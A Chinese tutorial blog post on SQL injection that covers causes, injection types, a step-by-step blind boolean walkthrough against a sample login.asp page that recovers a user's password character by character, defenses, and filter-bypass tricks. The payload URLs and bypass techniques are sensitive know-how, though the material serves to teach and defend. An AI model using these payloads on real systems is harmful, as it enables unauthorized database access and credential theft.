zoukankan      html  css  js  c++  java
  • OWASP top 10 —— SQL注入-原理及其防御

    SQL注入

    1、SQL注入介绍

           WEB应用程序对用户输入的数据的合法性没有进行判断,使攻击者对从前端传入后端的数据可控,并且参数中带有数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

    2、SQL注入的原理

    SQL注入漏洞产生需要以下两个条件:

    • 参数是可控的:前端传给后端的参数内容是用户可以控制的
    • 参数代入数据库查询:传入的参数可以带入数据库中查询

    如果满足以上两个条件,攻击者就可以在前端页面中通过构造SQL语句,将自己想要查询的SQL语句坪街道合法的参数后面,对数据库进行增删改查等操作。

    3、分类

    按照提交方式分类

    GET型注入、POST型注入、cookie型注入、http头注入

    按照注入类型分类

    数字型注入、字符型注入、搜索性注入

    按照执行效果分类

    布尔盲注、时间盲注、报错注入、堆叠注入、宽字节注入、base64注入

    4、SQL注入常用函数

    database():数据库名

    desc():结构

    table():表名

    colums():列名

    limit():返回结果中的前几条数据或者中间的数据

    group_concat():分组拼接函数

    rand():返回0~1的随机数

    floor():乡下取整

    substr():截取字符串

    ascill():返回字符串的ascill码

    5、SQL注入攻击的总体思路

    • 寻找SQL注入的位置
    • 判断服务器类型和后台数据库类型
    • 针对不同的服务器和数据库特点进行SQL注入攻击

    6、SQL注入的8种攻击行为

    1. 猜测数据库名,备份数据库
    2. 猜解字段名称
    3. 遍历系统的目录结构,分析结构并发现WEB虚拟目录,植入木马
    4. 查询当前用户的数据库权限
    5. 设置新的数据库帐户提权得到数据库管理员账户权限
    6. 利用存储过程获取操作系统管理员账户
    7. 客户端脚本攻击:通过正常的输入提交方式将恶意脚本提交到数据库中,当其他用户浏览此内容时就会受到恶意脚本的攻击。
    8. 客户端脚本攻击:通过SQL注入方式将恶意脚本提交到数据库中,直接使用SQL语法UPDATE数据库,并将注入SQL经过“HEX编码”,然后通过exec执行

    SQL注入攻击思路

    1)进入登录页面进行SQL注入测试

       正常登录:

                用户名:admin  密码:admin

        SQL注入漏洞测试:

    • 在正常用户名后面加单引号admin',单击登录
    • 或在URL地址栏直接输入http://IP/login.asp?name=admin'&pass=admin

    • 若出错,证明没有对'进行过滤,存在SQL注入漏洞

    2)SQL注入攻击

    构造可以正常运行的目标地址

    输入http://IP/login.asp?name=admin &pass=admin' and '1=1
    
    原SQL语句为SELECT * FROM data Where uname='admin',条件未变,但接收密码为admin' and '1=1
    • 登录失败

    输入http://IP/login.asp?pass=admin&name=admin' and 1=1 and 'a'='a
    
    原SQL语句为SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a'
    • 登录成功

    3)猜解数据库表名

    http://IP/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
    
    成功,说明数据表名确为data;若不成功,则可反复测试,直至成功猜出表名

    4)猜解数据库字段名

    http://IP/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
    
    若用户名字段确为uname,则提示登录成功
    
    同理可猜出密码字段为upass

    5)猜解密码长度

    • 已知有一用户名为"wucm",首先猜其密码长度大于1

    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)>1)>0 and 'a'='a
    • 成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)<10)>0 and 'a'='a
    • 成功,说明"wucm"的密码长度小于10位,继续猜测其密码长度小于5
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)<5)>0 and 'a'='a
    • 出错,说明"wucm"的密码长度大于5位,继续猜测其密码长度大于8位
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)>8)>0 and 'a'='a
    • 出错,说明"wucm"的密码长度小于8位,继续猜测其密码长度等于6位
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and len(upass)=6)>0 and 'a'='a
    • 成功,说明"wucm"的密码长度为6位

    6)猜解密码

    根据前面的测试我们已经知道该用户的密码长度位6位,接下来对密码进行逐位猜测:

    • 首先测试第一位是否为数字
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)<'9')>0 and 'a'='a
    • 出错,说明密码第一位不是数字, 测试是否位字母
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)>'a')>0 and 'a'='a
    • 成功,基本说明密码第一位是字母, 接下来重复测试,不断缩小字母范围,最后确定密码第一位为字母"w"
    http://IP/login.asp?pass=admin&name=admin' and (Select count(*) from data 
    where uname='wucm' and mid(upass,1,1)='w')>0 and 'a'='a
    • 成功,说明密码第一位位"w"
    • 同理对6位密码逐位进行猜测,最后得到密码为"wcm987"
    • 至此我们就猜测出用户"wucm"的密码为"wcm987",进行登陆测试
    • 登录成功,证明整个猜测过程和最后得出的密码都是正确的

    7、SQL注入的防御方法

    1.普通用户与系统管理员用户的权限要有严格的区分
    
    2.强迫使用参数化语句
    
    3.加强对用户输入的验证
    
    4.多多使用SQL server 数据库自带的安全参数
    
    5.必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点
    
    6.设置陷阱账号
       设置两个帐号,一个是普通管理员帐号,一个是防注入的帐号。

     8.SQL注入常见的绕过方法

    1)绕过空格

    可以替换空格执行的特殊字符,比如:+、%20、/**/、%a0等

    2)十六进制绕过

    查询条件为用户名等于admin的信息,admin需要使用引号引起来,如果过滤到引号,where语句就会执行失败。

    可以将amdin替换成十六进制来执行

    3)大小写/复写绕过

    4)过滤or and xor not 绕过

    and = &&

    or = ||

    xor = | # 异或

    not = !

    5)过滤等号

    %like% 通配符

    <> 等价于 !=

    在前面在加一个!表示等于

  • 相关阅读:
    .ssh/config 常用配置
    openresty(nginx) 配置 http与https使用同一个端口,禁止 IP 直接访问
    uni-app 入门小白纯徒手编写组件 hello-popup
    CSS 是啥?前端小白入门级理解
    爱思助手备份 iPhone 时没有设置密码,恢复备份时需要密码的问题
    introduction-to-64-bit-assembly
    flv to mp4
    Hopper Disassembler系列之Sublime Text 3 爆破
    Hopper 学习
    微信小游戏 Three.js UI 2D text 简单方案
  • 原文地址:https://www.cnblogs.com/Leisy/p/15430163.html
Copyright © 2011-2022 走看看